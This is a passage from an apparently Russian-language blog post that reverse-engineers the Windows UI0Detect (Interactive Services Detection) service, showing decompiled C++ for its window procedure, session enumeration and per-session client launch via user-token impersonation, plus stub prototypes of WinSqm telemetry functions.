&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_62<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> WM_WTSSESSION_CHANGE<span class="sy4">:</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>lParam<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="br0">&#40;</span>wParam <span class="sy2">-</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu12">0xFFFFFFFFFFFFFFFD</span><span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="br0">&#40;</span>wParam <span class="sy2">-</span> <span class="nu0">2</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu12">0xFFFFFFFFFFFFFFFD</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KillTimer<span class="br0">&#40;</span>hWnd, <span class="nu0">3</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v8 <span class="sy1">=</span> <span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_dwTCAtLastUserPing <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_pxSharedInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v9 <span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo <span class="sy2">+</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>g_pxSharedInfo <span class="sy2">+</span> <span class="nu0">4</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">++*</span> <span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v8<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy1">=</span> v9 <span class="sy3">&amp;</span> <span class="nu12">0xFFFFFFFD</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nHeight <span class="sy1">=</span> GetSystemMetrics<span class="br0">&#40;</span><span class="nu0">79</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v11 <span class="sy1">=</span> GetSystemMetrics<span class="br0">&#40;</span><span class="nu0">78</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v12 <span class="sy1">=</span> GetSystemMetrics<span class="br0">&#40;</span><span class="nu0">77</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v13 <span class="sy1">=</span> GetSystemMetrics<span class="br0">&#40;</span><span class="nu0">76</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MoveWindow<span class="br0">&#40;</span>hWnd, v13, v12, v11, nHeight, TRUE<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_xTCAtLastInput.<span class="me1">cbSize</span> <span class="sy1">=</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>LASTINPUTINFO<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetLastInputInfo<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_xTCAtLastInput<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetTimer<span class="br0">&#40;</span>hWnd, <span class="nu0">3</span>, <span class="nu12">0xEA60</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v14 <span class="sy1">=</span> <span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v4 <span class="sy1">=</span> v31<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_pxSharedInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v15 <span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo <span class="sy2">+</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>g_pxSharedInfo <span class="sy2">+</span> <span class="nu0">4</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">++*</span> <span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v14<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy1">=</span> v15 <span class="sy3">|</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> WM_APP<span class="sy4">:</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; LABEL_30<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; DestroyWindow<span class="br0">&#40;</span>hWnd<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>uMsg <span class="sy3">!</span><span class="sy1">=</span> <span class="br0">&#40;</span>UINT<span class="br0">&#41;</span>GetWindowLongPtr<span class="br0">&#40;</span>hWnd, <span class="nu0">0</span><span class="br0">&#41;</span> <span class="sy3">||</span> <span class="sy3">!</span>v4<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> DefWindowProc<span class="br0">&#40;</span>hWnd, uMsg, wParam, <span class="br0">&#40;</span>LPARAM<span class="br0">&#41;</span>v4<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; v16 <span class="sy1">=</span> wParam <span class="sy2">-</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v16<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v17 <span class="sy1">=</span> v16 <span class="sy2">-</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v17<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v17 <span class="sy1">==</span> <span class="nu0">3</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PostMessage<span class="br0">&#40;</span><span class="sy2">*</span>v4, WM_SYSCOMMAND, <span class="nu12">0xF120</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; v7 <span class="sy1">=</span> OnTopLevelWindowDestruction<span class="br0">&#40;</span><span class="br0">&#40;</span>HWND<span class="br0">&#41;</span>v4<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_dwTopLevelWindowCount<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_23<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; v7 <span class="sy1">=</span> OnTopLevelWindowCreation<span class="br0">&#40;</span>hWnd, <span class="br0">&#40;</span>HWND<span class="br0">&#41;</span>v4<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_dwTopLevelWindowCount<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; KillTimer<span class="br0">&#40;</span>hWnd, <span class="nu0">2</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Посмотрим, что происходит во время этих двух операций. Первое действие по созданию окна происходит во время вышеупомянутого вызова EnumWindows, который генерирует начальный список окон. Функция ищет только окна без родителя, то есть окна верхнего уровня, и вызывает OnTopLevelWindowCreation для анализа окна. Этот анализ состоит из запроса владельца окна, получения его PID и последующего запроса информации модуля об этом процессе. Информация о версии также извлекается, чтобы получить название компании. Наконец, окно добавляется в список отслеживаемых окон, а глобальная переменная счетчика увеличивается.<br />
Информация об этом модуле и версии попадает в раздел общей памяти. Он создается SetupSharedMemory и фактически генерирует два дескриптора. Первый дескриптор создается с доступом SECTION_MAP_WRITE и сохраняется внутри для доступа на запись. Затем дескриптор дублируется с доступом SECTION_MAP_READ, и этот дескриптор будет использоваться клиентом.<br />
Структура UI0_SHARED_INFO содержит несколько информационных полей: некоторые флаги, количество окон, обнаруженных на рабочем столе сессии  0, и, что более важно, информацию о модуле, окне и версии для каждого из этих окон. Функция OnTopLevelWindowCreation использует эту структуру для сохранения всей обнаруженной информации, а OnTopLevelWindowDestroy делает уничтожает эту информацию.<br />
<br />
Одно из связанных с таймером сообщений, за которое отвечает оконная процедура, будет проверять количество окон верхнего уровня (больше ли оно чем 0). Если это так, то выполняется вызов CreateClients вместе с дескриптором для раздела с отображенной памятью только для чтения<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="307288438"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="307288438" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="de1"><pre class="de1">VOID WINAPI CreateClients<span class="br0">&#40;</span>DWORD a1<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; HANDLE v0<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v1<span class="sy4">;</span>
&nbsp; &nbsp; BYTE v2<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v3<span class="sy4">;</span>
&nbsp; &nbsp; ULONG v4<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v5<span class="sy4">;</span>
&nbsp; &nbsp; ULONG SessionId<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v8<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; v0 <span class="sy1">=</span> g_hSharedInfo<span class="sy4">;</span>
&nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>SessionId <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; v7 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; v8 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; v1 <span class="sy1">=</span> <span class="nu0">5</span><span class="sy4">;</span>
&nbsp; &nbsp; v5 <span class="sy1">=</span> <span class="nu0">5</span><span class="sy4">;</span>
&nbsp; &nbsp; v2 <span class="sy1">=</span> WinStationGetSessionIds<span class="br0">&#40;</span><span class="nu0">0</span>, SessionId, <span class="sy3">&amp;</span>v5<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v3 <span class="sy1">=</span> v2<span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v2 <span class="sy3">||</span> GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> ERROR_MORE_DATA<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v1 <span class="sy1">=</span> v5<span class="sy4">;</span>
&nbsp; &nbsp;
&nbsp; &nbsp; <span class="kw1">else</span>
&nbsp; &nbsp; &nbsp; &nbsp; v3 <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v3<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>v1<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v5 <span class="sy1">=</span> v1 <span class="sy2">-</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v4 <span class="sy1">=</span> SessionId<span class="br0">&#91;</span>v1 <span class="sy2">-</span> <span class="nu0">1</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>WTSGetServiceSessionId<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> v4<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CreateClient<span class="br0">&#40;</span>v4, <span class="br0">&#40;</span>DWORD<span class="br0">&#41;</span>v0<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sleep<span class="br0">&#40;</span><span class="nu0">100</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v1 <span class="sy1">=</span> v5<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Эта процедура вызывает API WinStationGetSessionIds и перечисляет каждый идентификатор, вызывая процедуру CreateClient<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="477394199"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="477394199" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="de1"><pre class="de1">DWORD WINAPI CreateClient<span class="br0">&#40;</span>ULONG SessionId, <span class="kw4">int</span> a2<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; DWORD dwErrCode <span class="sy1">=</span> ERROR_NO_TOKEN<span class="sy4">;</span>
&nbsp; &nbsp; BOOL IsImpersonate <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; HANDLE phToken <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; PROCESS_INFORMATION ProcessInformation<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; STARTUPINFOW StartupInfo<span class="br0">&#123;</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>STARTUPINFOW<span class="br0">&#41;</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; WCHAR CommandLine<span class="br0">&#91;</span><span class="nu0">56</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span>CommandLine, <span class="nu0">0</span>, <span class="nu12">0x64</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span><span class="sy3">&amp;</span>StartupInfo.<span class="me1">lpReserved</span>, <span class="nu0">0</span>, <span class="nu12">0x60</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SessionId <span class="sy3">!</span><span class="sy1">=</span> <span class="sy2">-</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>WTSQueryUserToken<span class="br0">&#40;</span>SessionId, <span class="sy3">&amp;</span>phToken<span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> ImpersonateLoggedOnUser<span class="br0">&#40;</span>phToken<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IsImpersonate <span class="sy1">=</span> TRUE<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringCchPrintfW<span class="br0">&#40;</span>CommandLine, <span class="nu12">0x32</span>, <span class="co3">L</span><span class="st0">&quot;UI0Detect.exe %Iu&quot;</span>, a2<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StartupInfo.<span class="me1">dwFlags</span> <span class="sy1">=</span> STARTF_USESHOWWINDOW<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StartupInfo.<span class="me1">wShowWindow</span> <span class="sy1">=</span> SW_SHOWMINNOACTIVE<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwErrCode <span class="sy1">=</span> CreateProcessAsUserW<span class="br0">&#40;</span>phToken, <span class="kw2">nullptr</span>, CommandLine, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, TRUE, <span class="kw2">NULL</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="sy3">&amp;</span>StartupInfo, <span class="sy3">&amp;</span>ProcessInformation<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>dwErrCode<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span>ProcessInformation.<span class="me1">hThread</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span>ProcessInformation.<span class="me1">hProcess</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwErrCode <span class="sy1">=</span> GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>IsImpersonate<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; RevertToSelf<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>phToken<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span>phToken<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> dwErrCode<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Наконец, то, что происходит в CreateClient, довольно просто: API-интерфейсы WTSQueryUserToken и ImpersonateLoggedOnUser используются для получения токена входа в систему олицетворения, соответствующего пользователю по указанному идентификатору сессии, и создается командная строка для UI0Detect, которая содержит дескриптор чтения только раздела с отображением памяти. В конечном итоге вызывается CreateProcessAsUser, в результате чего для этого идентификатора сеанса создается процесс UI0Detect, выполняющийся с учетными данными пользователя.<br />
<br />
Вот так вкратце работает данный сервис :)<br />
Кода конечно же больше, чем приведенные мною несколько функций.<br />
Как только я его приведу в читабельный вид, прикреплю исходники WlS0WndH.dll и UI0Detect.exe в этом блоге.<br />
<br />
PS: примерные прототипы WinSqm функций из ntdll.dll<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="386814187"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="386814187" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="de1"><pre class="de1">HANDLE WINAPI WinSqmStartSession<span class="br0">&#40;</span>GUID<span class="sy2">*</span> pSessionGuid, DWORD dwSessionId, DWORD unknown1<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">return</span> INVALID_HANDLE_VALUE<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="co2">#define STATUS_NOT_IMPLEMENTED 0xC0000002</span>
NTSTATUS WINAPI WinSqmEndSession<span class="br0">&#40;</span>HANDLE hSession<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">return</span> STATUS_NOT_IMPLEMENTED<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
BOOL WINAPI WinSqmIsOptedIn<span class="br0">&#40;</span>VOID<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">return</span> FALSE<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
VOID WINAPI WinSqmSetDWORD<span class="br0">&#40;</span>HANDLE hSession, DWORD dwDataPointId, DWORD dwDataPointValue<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; 
<span class="br0">&#125;</span>
&nbsp;
VOID WINAPI WinSqmIncrementDWORD<span class="br0">&#40;</span>HANDLE hSession, DWORD dwDataPointId, DWORD dwDataPointValue<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp;
<span class="br0">&#125;</span>
&nbsp;
VOID WINAPI WinSqmAddToAverageDWORD<span class="br0">&#40;</span>HANDLE hSession, DWORD dwDataPointId, DWORD dwDataPointValue<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp;
<span class="br0">&#125;</span>
&nbsp;
VOID WINAPI WinSqmAddToStream<span class="br0">&#40;</span>HANDLE hSession, DWORD dwDataPointId, DWORD sqmStreamEntries, PVOID streamEntries<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp;
<span class="br0">&#125;</span>
&nbsp;
